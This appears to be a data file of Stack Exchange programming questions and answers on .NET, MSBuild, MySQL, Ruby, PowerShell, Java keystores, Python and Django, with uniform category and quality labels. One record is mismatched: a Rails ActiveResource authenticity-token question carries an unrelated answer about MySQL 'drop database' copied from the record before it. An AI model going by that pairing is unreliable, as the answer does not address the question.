{"id": "hf_1a8e2632b294", "question": "<p>I have tried this...</p>\n\n<pre><code>Dim myMatches As String() = \nSystem.Text.RegularExpressions.Regex.Split(postRow.Item(\"Post\"), \"\\b\\#\\b\")\n</code></pre>\n\n<p>But it is splitting all words, I want an array of words that start with#</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Since you want to include the words in the split you should use something like\n```\n```\n\"\\b#\\w+\\b\"\n```\n```\nThis includes the actual word there in the expression. However I'm not sure that's what you want. Could you provide an example of input and the desired output?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.523522"}
{"id": "hf_17589a832224", "question": "<p>I'm new to ASP.NET and want to have an asp:content control for the page title, but I want that value to be used for the  tag and for a page header. When I tried to do this with two  tags with the same id, it complained that I couldn't have two tags with the same id. Is there a way to achieve this with contentplaceholders, and if not what would be the easiest way to use a single parameter to the masterpage twice in one page?</p>\n", "question_body": "", "answer": "Title is actually an attribute on content pages, so you do something like:\n```\n```\n<%@ Page Language=\"C#\" MasterPageFile=\"~/default.master\" Title=\"My Content Title\" %>\n```\n```\non the content page. To get that into a header, on the master page just render the page title:\n```\n```\n<h1><%= this.Page.Title %></h3>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.549910"}
{"id": "hf_0212c56d7151", "question": "<p>Does anyone know how to get the name of the TARGET (/t) called from the MSBuild command line? There are a few types of targets that can be called and I want to use that property in a notification to users.</p>\n\n<p>Example:</p>\n\n<pre><code>msbuild Project.proj /t:ApplicationDeployment /p:Environment=DEV\n</code></pre>\n\n<p>I want access to the target words <code>ApplicationDeployment</code> in my .Proj file. </p>\n\n<p>Is there a property I can access? Any clue how to do this?</p>\n\n<p><strong>EDIT:</strong> I do not want to have to also pass in a property to get this.</p>\n\n<p><strong>UPDATE:</strong> This is based on <strong>deployment scripts</strong> using MSBuild scripts. My build server is not used for deploying code, only for building. The build server itself has build notifications that can be opted into.</p>\n", "question_body": "", "answer": "I'm not sure how to do exactly what you ask, but could you pass that string using the /p option?\n```\n```\nmsbuild Project.proj /t:ApplicationDeployment /p:Environment=DEV;MyValue=ApplicationDeployment\n```\n```\nThe only other way I can see to do it is to use a conditional property in each target, and thus establish the first target to be invoked.\n```\n```\n<Target Name=\"ApplicationDeployment\">\n<PropertyGroup>\n  <InvokedTarget Condition=\"'${InvokedTarget}'==''\">ApplicationDeployment</InvokedTarget>\n</PropertyGroup>\n\n...\n</Target>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.576247"}
{"id": "hf_b7b492fe3660", "question": "<p>How can I limit my post-build events to running only for one type of build?</p>\n\n<p>I'm using the events to copy DLL files to a local IIS virtual directory, but I don't want this happening on the build server in release mode.</p>\n", "question_body": "", "answer": "You can pass the configuration name to the post-build script and check it in there to see if it should run.\nPass the configuration name with\n```\n$(ConfigurationName)\n```\n.\nChecking it is based on how you are implementing the post-build step -- it will be a command-line argument.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.601443"}
{"id": "hf_57a36a8caec5", "question": "<p>mysql5.0 with a pair of databases \"A\" and \"B\", both with large innodb tables. \"drop database A;\" freezes database \"B\" for a couple minutes. Nothing is using \"A\" at that point, so why is this such an intensive operation?</p>\n\n<p>Bonus points: Given that we use \"A\", upload data into \"B\", and then switch to using \"B\", how can we do this faster? Dropping databases isn't the sort of thing one typically has to do all the time, so this is a bit off the charts.</p>\n", "question_body": "", "answer": "By default, all innodb databases in a given mysql server installation use the same physical pool of data files, so conceivably \"drop database A\"  could affect database B.  Since \"drop database\" is likely to involve heavy reorgainsing of the innodb data files, it's conceivable that it's a blocking operation, either because of the intensity of the operation, or by design.\nHowever, I think you can make each database use different physical files, although I haven't tried that myself, so you'll have to figure out the specifics for yourself. Failing that, then you may need to use two different mysql installs side-by-side on the same machine, which is perfectly doable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.626005"}
{"id": "hf_a268a9a3faa3", "question": "<p>I created a Rails application normally. Then created the scaffold for an event class. Then tried the following code. When run it complains about a InvalidAuthenticityToken when the destroy method is executed. How do I authenticate to avoid this response?</p>\n\n<pre><code>require 'rubygems'\nrequire 'activeresource'\n\nclass Event &lt; ActiveResource::Base\n  self.site = \"http://localhost:3000\"\nend\n\ne = Event.create(\n  :name =&gt; \"Shortest Event Ever!\",\n  :starts_at =&gt; 1.second.ago,\n  :capacity =&gt; 25,\n  :price =&gt; 10.00)\n\ne.destroy\n</code></pre>\n", "question_body": "", "answer": "By default, all innodb databases in a given mysql server installation use the same physical pool of data files, so conceivably \"drop database A\"  could affect database B.  Since \"drop database\" is likely to involve heavy reorgainsing of the innodb data files, it's conceivable that it's a blocking operation, either because of the intensity of the operation, or by design.\nHowever, I think you can make each database use different physical files, although I haven't tried that myself, so you'll have to figure out the specifics for yourself. Failing that, then you may need to use two different mysql installs side-by-side on the same machine, which is perfectly doable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.656689"}
{"id": "hf_c31921f218c4", "question": "<p>I need to substitute the value of a string into my regular expression in Ruby. Is there an easy way to do this? For example:</p>\n\n<pre><code>foo = \"0.0.0.0\"\ngoo = \"here is some other stuff 0.0.0.0\" \nif goo =~ /value of foo here dynamically/\n  puts \"success!\"\nend\n</code></pre>\n", "question_body": "", "answer": "Use Regexp.new:\n```\n```\nif goo =~ Regexp.new(foo) # Evaluates to /0.0.0.0/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.694388"}
{"id": "hf_063d782d2a46", "question": "<p>I know plenty about the different ways of handling parsing text for information. For parsing integers for example, what kind of performance can be expected. I am wondering if anyone knows of any good stats on this. I am looking for some real numbers from someone who has tested this.</p>\n\n<p>Which of these offers the best performance in which situations?</p>\n\n<pre><code>Parse(...)  // Crash if the case is extremely rare .0001%\n\nIf (SomethingIsValid) // Check the value before parsing\n    Parse(...)\n\nTryParse(...) // Using TryParse\n\ntry\n{\n    Parse(...)\n}\ncatch\n{\n    // Catch any thrown exceptions\n}\n</code></pre>\n", "question_body": "", "answer": "Always use\nT.TryParse(string str, out T value)\n. Throwing exceptions is expensive and should be avoided if you can handle the situation\na priori\n. Using a try-catch block to \"save\" on performance (because your invalid data rate is low) is an abuse of exception handling at the expense of maintainability and good coding practices. Follow sound software engineering development practices, write your test cases, run your application, THEN benchmark and optimize.\n\"We should forget about small efficiencies, say about 97% of the time:\npremature optimization is the root of all evil\n. Yet we should not pass up our opportunities in that critical 3%\" -Donald Knuth\nTherefore you assign, arbitrarily like in carbon credits, that the performance of try-catch is\nworse\nand that the performance of TryParse is\nbetter\n. Only after we've run our application and determined that we have some sort of slowdown w.r.t. string parsing would we even consider using anything other than TryParse.\n(edit: since it appears the questioner wanted timing data to go with good advice, here is the timing data requested)\nTimes for various failure rates on 10,000 inputs from the user (for the unbelievers):\n```\n```\nFailure Rate      Try-Catch          TryParse        Slowdown\n  0%           00:00:00.0131758   00:00:00.0120421      0.1\n 10%           00:00:00.1540251   00:00:00.0087699     16.6\n 20%           00:00:00.2833266   00:00:00.0105229     25.9\n 30%           00:00:00.4462866   00:00:00.0091487     47.8\n 40%           00:00:00.6951060   00:00:00.0108980     62.8\n 50%           00:00:00.7567745   00:00:00.0087065     85.9\n 60%           00:00:00.7090449   00:00:00.0083365     84.1\n 70%           00:00:00.8179365   00:00:00.0088809     91.1\n 80%           00:00:00.9468898   00:00:00.0088562    105.9\n 90%           00:00:01.0411393   00:00:00.0081040    127.5\n100%           00:00:01.1488157   00:00:00.0078877    144.6\n\n/// <param name=\"errorRate\">Rate of errors in user input</param>\n/// <returns>Total time taken</returns>\npublic static TimeSpan TimeTryCatch(double errorRate, int seed, int count)\n{\n    Stopwatch stopwatch = new Stopwatch();\n    Random random = new Random(seed);\n    string bad_prefix = @\"X\";\n\n    stopwatch.Start();\n    for(int ii = 0; ii < count; ++ii)\n    {\n        string input = random.Next().ToString();\n        if (random.NextDouble() < errorRate)\n        {\n           input = bad_prefix + input;\n        }\n\n        int value = 0;\n        try\n        {\n            value = Int32.Parse(input);\n        }\n        catch(FormatException)\n        {\n            value = -1; // we would do something here with a logger perhaps\n        }\n    }\n    stopwatch.Stop();\n\n    return stopwatch.Elapsed;\n}\n\n/// <param name=\"errorRate\">Rate of errors in user input</param>\n/// <returns>Total time taken</returns>\npublic static TimeSpan TimeTryParse(double errorRate, int seed, int count)\n{\n    Stopwatch stopwatch = new Stopwatch();\n    Random random = new Random(seed);\n    string bad_prefix = @\"X\";\n\n    stopwatch.Start();\n    for(int ii = 0; ii < count; ++ii)\n    {\n        string input = random.Next().ToString();\n        if (random.NextDouble() < errorRate)\n        {\n           input = bad_prefix + input;\n        }\n\n        int value = 0;\n        if (!Int32.TryParse(input, out value))\n        {\n            value = -1; // we would do something here with a logger perhaps\n        }\n    }\n    stopwatch.Stop();\n\n    return stopwatch.Elapsed;\n}\n\npublic static void TimeStringParse()\n{\n    double errorRate = 0.1; // 10% of the time our users mess up\n    int count = 10000; // 10000 entries by a user\n\n    TimeSpan trycatch = TimeTryCatch(errorRate, 1, count);\n    TimeSpan tryparse = TimeTryParse(errorRate, 1, count);\n\n    Console.WriteLine(\"trycatch: {0}\", trycatch);\n    Console.WriteLine(\"tryparse: {0}\", tryparse);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.731608"}
{"id": "hf_b3cb84f124e5", "question": "<p>The project I'm working on needs to render an ESRI shape file, which can have a large number of polygons/shapes.  When I add all these polygons, lines, points, etc to the canvas I'm using, it gets really slow.</p>\n\n<p>To draw the shapes on the map, I'm creating a Path object, and setting it's Data property to a StreamGeometry.  I originally used a Polygon, but according to MSDN a StreamGeometry is much lighter weight.</p>\n\n<p>How can I improve the performance?  Would converting the finished product to a Bitmap, or VisualBrush help?  Is there a more efficient way of to render all these shapes onto the canvas?</p>\n\n<p>EDIT:  I forgot to mention that this needs to be able to work in a Partial-Trust XBAP.</p>\n", "question_body": "", "answer": "You are about to discover the motivation behind GPUs and insanely overclocked and cooled-down graphics cards. And double-buffering.\nAnd: converting the thing to a bitmap: what's the difference to rendering it?\nAfter all you have n objects that /somehow/ have to get rendered (unless you can figure out which objects are hidden behind other objects but that doesn't help you much since you'd have to look at n! object relations).\nBesides: maybe it pays off to leave the orthodox OOP approach and go procedural instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.811815"}
{"id": "hf_30902c9e860f", "question": "<p>I have searched but apparently my google foo is weak. What I need is a way to prompt for user input in the console and have the request time out after a period of time and continue executing the script if no input comes in. As near as I can tell, Read-Host does not provide this functionality. Neither does $host.UI.PromptForChoice() nor does $host.UI.RawUI.ReadKey(). Thanks in advance for any pointers.</p>\n\n<p>EDIT: Much thanks to Lars Truijens for finding the answer. I have taken the code that he pointed out and encapsulated it into a function. Note that the way that I have implemented it means there could be up to one second of delay between when the user hits a key and when script execution continues.</p>\n\n<pre><code>function Pause-Host\n{\n    param(\n            $Delay = 1\n         )\n    $counter = 0;\n    While(!$host.UI.RawUI.KeyAvailable -and ($counter++ -lt $Delay))\n    {\n        [Threading.Thread]::Sleep(1000)\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Found something\nhere\n:\n```\n```\n$counter = 0\nwhile(!$Host.UI.RawUI.KeyAvailable -and ($counter++ -lt 600))\n{\n      [Threading.Thread]::Sleep( 1000 )\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.847851"}
{"id": "hf_a24e1c944cc6", "question": "<p>How do I list and export a private key from a keystore?</p>\n", "question_body": "", "answer": "A portion of code originally from Example Depot for listing all of the aliases in a key store:\n```\n```\n// Load input stream into keystore\n    keystore.load(is, password.toCharArray());\n\n    // List the aliases\n    Enumeration aliases = keystore.aliases();\n    for (; aliases.hasMoreElements(); ) {\n        String alias = (String)aliases.nextElement();\n\n        // Does alias refer to a private key?\n        boolean b = keystore.isKeyEntry(alias);\n\n        // Does alias refer to a trusted certificate?\n        b = keystore.isCertificateEntry(alias);\n    }\n```\n```\nThe exporting of private keys came up on the\nSun forums\na couple of months ago, and\nu:turingcompleter\ncame up with a DumpPrivateKey class to stitch into your app.\n```\n```\nimport java.io.FileInputStream;\nimport java.security.Key;\nimport java.security.KeyStore;\nimport sun.misc.BASE64Encoder;\n\npublic class DumpPrivateKey {\n     /**\n     * Provides the missing functionality of keytool\n     * that Apache needs for SSLCertificateKeyFile.\n     *\n     * @param args  <ul>\n     *              <li> [0] Keystore filename.\n     *              <li> [1] Keystore password.\n     *              <li> [2] alias\n     *              </ul>\n     */\n    static public void main(String[] args)\n    throws Exception {\n        if(args.length < 3) {\n          throw new IllegalArgumentException(\"expected args: Keystore filename, Keystore password, alias, <key password: default same tha\nn keystore\");\n        }\n        final String keystoreName = args[0];\n        final String keystorePassword = args[1];\n        final String alias = args[2];\n        final String keyPassword = getKeyPassword(args,keystorePassword);\n        KeyStore ks = KeyStore.getInstance(\"jks\");\n        ks.load(new FileInputStream(keystoreName), keystorePassword.toCharArray());\n        Key key = ks.getKey(alias, keyPassword.toCharArray());\n        String b64 = new BASE64Encoder().encode(key.getEncoded());\n        System.out.println(\"-----BEGIN PRIVATE KEY-----\");\n        System.out.println(b64);\n        System.out.println(\"-----END PRIVATE KEY-----\");\n    }\n    private static String getKeyPassword(final String[] args, final String keystorePassword)\n    {\n       String keyPassword = keystorePassword; // default case\n       if(args.length == 4) {\n         keyPassword = args[3];\n       }\n       return keyPassword;\n    }\n}\n```\n```\nNote: this use Sun package,\nwhich is a \"bad thing\"\n.\nIf you can download\napache commons code\n, here is a version which will compile without warning:\n```\n```\njavac -classpath .:commons-codec-1.4/commons-codec-1.4.jar DumpPrivateKey.java\n```\n```\nand will give the same result:\n```\n```\nimport java.io.FileInputStream;\nimport java.security.Key;\nimport java.security.KeyStore;\n//import sun.misc.BASE64Encoder;\nimport org.apache.commons.codec.binary.Base64;\n\npublic class DumpPrivateKey {\n     /**\n     * Provides the missing functionality of keytool\n     * that Apache needs for SSLCertificateKeyFile.\n     *\n     * @param args  <ul>\n     *              <li> [0] Keystore filename.\n     *              <li> [1] Keystore password.\n     *              <li> [2] alias\n     *              </ul>\n     */\n    static public void main(String[] args)\n    throws Exception {\n        if(args.length < 3) {\n          throw new IllegalArgumentException(\"expected args: Keystore filename, Keystore password, alias, <key password: default same tha\nn keystore\");\n        }\n        final String keystoreName = args[0];\n        final String keystorePassword = args[1];\n        final String alias = args[2];\n        final String keyPassword = getKeyPassword(args,keystorePassword);\n        KeyStore ks = KeyStore.getInstance(\"jks\");\n        ks.load(new FileInputStream(keystoreName), keystorePassword.toCharArray());\n        Key key = ks.getKey(alias, keyPassword.toCharArray());\n        //String b64 = new BASE64Encoder().encode(key.getEncoded());\n        String b64 = new String(Base64.encodeBase64(key.getEncoded(),true));\n        System.out.println(\"-----BEGIN PRIVATE KEY-----\");\n        System.out.println(b64);\n        System.out.println(\"-----END PRIVATE KEY-----\");\n    }\n    private static String getKeyPassword(final String[] args, final String keystorePassword)\n    {\n       String keyPassword = keystorePassword; // default case\n       if(args.length == 4) {\n         keyPassword = args[3];\n       }\n       return keyPassword;\n    }\n}\n```\n```\nYou can use it like so:\n```\n```\njava -classpath .:commons-codec-1.4/commons-codec-1.4.jar DumpPrivateKey $HOME/.keystore changeit tomcat\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.872750"}
{"id": "hf_0211cc86555e", "question": "<p>I understand that these methods are for pickling/unpickling and have no relation to the reduce built-in function, but what's the difference between the 2 and why do we need both?</p>\n", "question_body": "", "answer": "The docs\nsay that\nIf provided, at pickling time\n```\n__reduce__()\n```\nwill be called with no\narguments, and it must return either a\nstring or a tuple.\nOn the other hand,\nIt is sometimes useful to know the\nprotocol version when implementing\n```\n__reduce__\n```\n. This can be done by\nimplementing a method named\n```\n__reduce_ex__\n```\ninstead of\n```\n__reduce__\n```\n.\n```\n__reduce_ex__\n```\n, when it\nexists, is called in preference over\n```\n__reduce__\n```\n(you may still provide\n```\n__reduce__\n```\nfor backwards\ncompatibility). The\n```\n__reduce_ex__\n```\nmethod will be called with a single\ninteger argument, the protocol\nversion.\nOn the gripping hand,\nGuido says\nthat this is an area that could be cleaned up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.032392"}
{"id": "hf_65edf4e41147", "question": "<p>I recently migrated a website to a new CMS (Umbraco). A lot of the links have changed, but they can be easily corrected by searching for patters in the url, so I would like to write something that will redirect to the correct page if the old one is not found. That part isn't a problem. </p>\n\n<p>How can I obtain the requested URL after the browser is redirected to my custom 404 page. I tried using:</p>\n\n<pre><code>request.ServerVariables(\"HTTP_REFERER\") 'sorry i corrected the typo from system to server.\n</code></pre>\n\n<p>But that didn't work.</p>\n\n<p>Any Ideas?</p>\n\n<p>The site is on IIS 6.0. \nWe did consider using 301 redirects, but we don't have any way of knowing what pages people have bookmarked and there are a few hundred pages, so no one is keen on spending the time to create the 301's.</p>\n", "question_body": "", "answer": "Update, you actually want to pick up:\nVB.NET:\n```\n```\nRequest.QueryString(\"aspxerrorpath\")\n```\n```\nC#:\n```\n```\nRequest.QueryString[\"aspxerrorpath\"];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.085612"}
{"id": "hf_1bae62ccfb8f", "question": "<p>If I have variable of type <code>IEnumerable&lt;List&lt;string&gt;&gt;</code> is there a LINQ statement or lambda expression I can apply to it which will combine the lists returning an <code>IEnumerable&lt;string&gt;</code>? </p>\n", "question_body": "", "answer": "SelectMany - i.e.\n```\n```\nIEnumerable<List<string>> someList = ...;\n        IEnumerable<string> all = someList.SelectMany(x => x);\n```\n```\nFor each item in someList, this then uses the lambda \"x => x\" to get an IEnumerable<T> for the inner items. In this case, each \"x\" is a List<T>, which is already IEnumerable<T>.\nThese are then returned as a contiguous block. Essentially, SelectMany is something like (simplified):\n```\n```\nstatic IEnumerable<TResult> SelectMany<TSource, TResult>(\n    this IEnumerable<TSource> source,\n    Func<TSource, IEnumerable<TResult>> selector) {\n\n    foreach(TSource item in source) {\n      foreach(TResult result in selector(item)) {\n        yield return result;\n      }\n    }\n}\n```\n```\nAlthough that is simplified somewhat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.110619"}
{"id": "hf_77330c338170", "question": "<p>What is the best way to dynamically create RDLC xml as input to VS2005 Report Viewer?  </p>\n\n<p>I would like to autosize columns based on the data sizes.  I would also like to programmatically control what columns are displayed.</p>\n", "question_body": "", "answer": "Lisa Nicholls\ngives a complete answer\nin this thread\nabout dynamically defining a report. You'll want to scroll down some before you get to a useful answer. This thread most directly answers your question about controlling which columns are displayed.\nThese same techniques can be used to size the columns programmatically, but your code will have to figure out the appropriate column widths.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.148939"}
{"id": "hf_e7b09fb94f14", "question": "<p>How do people approach mocking out TcpClient (or things like TcpClient)?</p>\n\n<p>I have a service that takes in a TcpClient.  Should I wrap that in something else more mockable?  How should I approach this?</p>\n", "question_body": "", "answer": "When coming to mock classes that are not test friendly (i.e. sealed/not implementing any interface/methods are not virtual), you would probably want to use the\nAdapter\ndesign pattern.\nIn this pattern you add a wrapping class that implements an interface. You should then mock the interface, and make sure all your code uses that interface instead of the unfriendly concrete class. It would look something like this:\n```\n```\npublic interface ITcpClient\n{\n   Stream GetStream(); \n   // Anything you need here       \n}\npublic class TcpClientAdapter: ITcpClient\n{\n   private TcpClient wrappedClient;\n   public TcpClientAdapter(TcpClient client)\n   {\n    wrappedClient = client;\n   }\n\n   public Stream GetStream()\n   {\n     return wrappedClient.GetStream();\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.188474"}
{"id": "hf_e8c4131fae59", "question": "<p>I'm trying to use Exchange Web Services to update a calendar item.  I'm creating an ItemChangeType, and then an ItemIdType.  I have a unique ID to use for ItemIdType.Id, but I have nothing to use for the ChangeKey.  When I leave it out, I get an ErrorChangeKeyRequiredForWriteOperations.  But when i try to just put something in there, I get an ErrorInvalidChangeKey.  </p>\n\n<p>What can I use for this to get it to work?</p>\n\n<p>I'm also trying to determine what is the best implementation of BaseItemIdType to use for ItemChangeType.Item.  So far, I'm using ItemIdType, and I'm guessing that's correct, but I haven't been able to find any particularly helpful documentation on this.</p>\n", "question_body": "", "answer": "If you have the ItemIdType.Id property you should also have access to the Changekey, it's also a property of ItemIdType:\n```\nItemIdType.ChangeKey\n```\nLike the Id property it's a string, so you can grab it when you grab the Id.\nRegards\nJesper Hauge", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.226472"}
{"id": "hf_4cd0c502396d", "question": "<p>What do you insert into Python source code to have it break into pdb (when execution gets to that spot)? </p>\n", "question_body": "", "answer": "```\n```\nimport pdb; pdb.set_trace()\n```\n```\nSee\nPython: Coding in the Debugger for Beginners\nfor this and more helpful hints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.251436"}
{"id": "hf_0e244c7fe5cd", "question": "<p>I have a website in which I provide tool-tips for certain things using a hidden <code>&lt;span&gt;</code> tag and JavaScript to track various mouse events. It works excellently. This site somewhat caters towards people with vision issues, so I try to make things degrade as well as possible if there is no JavaScript or CSS and generally I would say that it is successful in this regard.</p>\n\n<p>So my question is, is it possible for these <code>&lt;span&gt;</code> to only exist if CSS is being used? I have thought about writing out the tool-tips in JavaScript on document load. But I was wondering if there is a better solution.</p>\n", "question_body": "", "answer": "Perhaps you need to re-think the way you are providing tooltips.  Could the content be contained in the title attribute of a semantically appropriate element?\nEDIT: If you provide more info, someone might be able to suggest more of a solution.  What sorts of elements are the tooltips popping up on?  Images?  Would the abbreviation tags be appropriate?\nQuick Solution I just came up with:\n```\n<span>\n```\nhas access to the\ncore attributes\n, which include title, so you could include the tooltip text in the title, and use a javascript library like jQuery to display tooltips for all spans with a title.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.278300"}
{"id": "hf_8f823850e722", "question": "<p>I'm wondering if there are any architectural frameworks out there to create desktop or standalone applications, in Java or C# for instance. It seems that there are tons of them available for web applications but I can't find many good resources on frameworks or architectural best-practices for desktop development.</p>\n\n<p>Ideally I would like to know if there is any source code available of desktop applications that would be considered to have a good architecture or are built with a certain framework.</p>\n", "question_body": "", "answer": "You can use some of the same approaches in client development that you use in web development, such as Model View Presenter. The System.Windows.Forms namespace has everything you need to build a client application in C#, with the rest of the .NET Framework available to provide the services you need (such as IO and remoting).\nAs far as source code for solid architectures in desktop apps, look at the code for\nPaint.NET\nand\nSharpDevelop\n. Both have very different approaches that will be interesting to you.\nSorry for the .NET slant of this reply. It's what I know best. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.318100"}
{"id": "hf_63321ce312bf", "question": "<p>With our next major release we are looking to globalize our ASP.Net application and I was asked to think of a way to keep track of what code has been already worked on in this effort.  </p>\n\n<p>My thought was to use a custom Attribute and place it on all classes that have been \"fixed\".</p>\n\n<p>What do you think? </p>\n\n<p>Does anyone have a better idea?</p>\n", "question_body": "", "answer": "Using an attribute to determine which classes have been globalized would then require a tool to process the code and determine which classes have and haven't been \"processed\", it seems like it's getting a bit complicated.\nA more traditional project tracking process would probably be better - and wouldn't \"pollute\" your code with attributes/other markup that have no functional meaning beyond the end of the globalisation project. How about having a defect raised for each class that requires work, and tracking it that way?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.381876"}
{"id": "hf_26ba7aa35740", "question": "<p>I am currently defining regular expressions in order to capture parameters in a URL, as described in the tutorial. How do I access parameters from the URL as part the <code>HttpRequest</code> object?</p>\n<p>My <code>HttpRequest.GET</code> currently returns an empty <code>QueryDict</code> object.</p>\n<p>I'd like to learn how to do this without a library, so I can get to know Django better.</p>\n", "question_body": "", "answer": "When a URL is like\n```\ndomain/search/?q=haha\n```\n, you would use\n```\nrequest.GET.get('q', '')\n```\n.\n```\nq\n```\nis the parameter you want, and\n```\n''\n```\nis the default value if\n```\nq\n```\nisn't found.\nHowever, if you are instead just configuring your\n```\nURLconf\n```\n**, then your captures from the\n```\nregex\n```\nare passed to the function as arguments (or named arguments).\nSuch as:\n```\n```\n(r'^user/(?P<username>\\w{0,50})/$', views.profile_page,),\n```\n```\nThen in your\n```\nviews.py\n```\nyou would have\n```\n```\ndef profile_page(request, username):\n    # Rest of the method\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.531454"}
{"id": "hf_518f88335b44", "question": "<p>I've got a C# program that's supposed to play audio files.  I've figured out how to play any sound file for which Windows has a codec by using DirectShow, but now I want to properly fill in the file type filter box on the Open dialog.  I'd like to automatically list any file format for which Windows has a codec.  If some random user installs a codec for an obscure format, its associated extension(s) and file type description(s) need to show up in the list.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "If I remember correctly, a codec does not know which file types, i.e. file extensions, it supports, since a codec takes some stream as input and not actually a file. So if what you want is to display the file extensions of the supported audio file formats, you'll most likely be out of luck unless you have a extensive list of file extensions and associated codecs, but even then you'll get problems with container formats and all that.\nFor example, my Windows Media Player happily plays m4b files, but does not know anything about them. I had to manually associate it with the file type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:55.562035"}
